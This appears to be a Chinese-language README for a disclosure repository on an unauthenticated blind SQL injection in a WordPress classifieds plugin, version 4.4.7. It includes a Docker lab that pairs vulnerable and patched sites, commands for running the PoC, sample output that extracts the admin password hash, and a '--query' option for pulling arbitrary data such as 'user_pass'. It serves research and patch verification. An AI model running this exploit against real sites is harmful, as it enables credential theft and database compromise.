.
├── README.md                     # 本文件
├── docs/
│   └── WRITEUP.md                # 完整技术分析
├── exploit/
│   ├── exploit.py                # 未认证盲 SQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11，漏洞版 + 修复版
│   ├── setup.sh                  # 部署插件、启动、配置两个站点
│   └── teardown.sh               # 移除容器 + 卷 + 已部署文件
└── patches/
    ├── 4.4.8-regions-api.diff    # 安全修复（单文件）
    └── 4.4.7-to-4.4.8-full.diff  # 完整版本差异

# 1. 构建并配置一次性实验环境（仅需 Docker）
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> 漏洞版 (4.4.7): http://localhost:8080/?page_id=8
#   -> 修复版 (4.4.8): http://localhost:8090/?page_id=8

# 2. 运行 PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # 应显示 VULNERABLE
python3 exploit.py http://localhost:8090            # 应显示 PATCHED

# 3. 清理所有内容
cd ../lab && ./teardown.sh

[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}